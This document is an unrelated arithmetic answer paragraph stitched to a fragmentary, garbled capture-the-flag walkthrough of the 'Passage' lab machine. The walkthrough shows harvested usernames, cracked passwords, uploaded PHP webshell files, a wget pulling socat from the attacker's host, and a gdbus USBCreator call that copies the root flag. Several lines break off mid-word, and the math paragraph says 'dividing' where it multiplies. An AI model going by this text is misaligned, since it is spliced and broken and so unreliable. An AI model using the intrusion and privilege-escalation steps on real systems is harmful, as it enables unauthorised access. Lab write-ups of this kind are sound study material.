

ANSWER The answer is C. The first step is to calculate the total number of hours worked by all employees. This is done by multiplying the number of employees by the number of hours worked per employee: $10 \text{ employees} \times 40 \text{ hours/employee} = 400 \text{ hours}$. Next, we calculate the total amount of money paid by dividing the total hours by the hourly wage: $400 \text{ hours} \times \$10/\text{hour} = \$4,000$.



1

```
2 kim@example.com
3 sid@example.com
4 paul@passage.htb
5 nadav@passage.htb #was connected to admin?
6
7 #users
8 Kim Swift
9 Sid Meier
10 Paul Coles
```

We can see the site is run on **CuteNews 2.1.2**

The screenshot shows a web browser window with the following details:

- Address Bar:** 10.10.10.206/CuteNews/index.php
- Page Title:** CuteNews news management system
- Content:**
 - Please sign in**
 - User input field
 - Password input field
 - Remember me
 - Sign in** button
 - Register** button
 - [\(lost password\)](#)
- Page Footer:** Powered by CuteNews 2.1.2 © 2002–2020 CutePHP.
(unregistered)

✓ Found:

X Left:
? Hash Identifier

If we look at the shell we got, we can find out who has **/home** directories.



```
command > cd /home && ls  
naday
```

```
1 #Usernames
2 nadav
3 paul
4
5 #passwords
6 atlanta1
7 egre55
```

www-Data shell

This shell sucks, let's upgrade it.

We can grab a **socat** binary for a x64 bit machine from here: https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat

```
command > wget http://10.10.14.17/socat
File System

command > ls
avatar_egre55_ykxnacpt.php
avatar_hacker_jpyoyskt.php
avatar_nc4blmlk7g_nc4blmlk7g.php
```

- It will be upset about t
- If it gives you trouble,

Sharing SSH Keys?

- ```
paul@passage:~/._ssh$ cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAQABAAQczXiscF0
kuLso/lAvQIg2gYaEHlDdpqd9gCYA7tg76N5RLbroGqA6I
jxYTXY3kfIUko3WFnoVZiTmvKLDkAlO/+S2tYQa7wMleSI
dRNRwCdIkmmMEY5efV3YsYcwBwc6h/ZB4u8xPyH3yFlBNR7
ge9bWreSfNC1122qq49d nadav@passage
```

# Nadav Shell

## Enumeration

# Manual Enumeration

```
'0 12 /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf
'1 2 0 /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf

Jumplist (newest first):
-' 12 7 /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf
-' 1 0 /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf
-' 2 0 /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf
```

```
1 gdbus call --system --dest com.ubuntu.USBCreator \
2 --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image \
3 /root/root.txt /tmp/privesc/test.txt true
```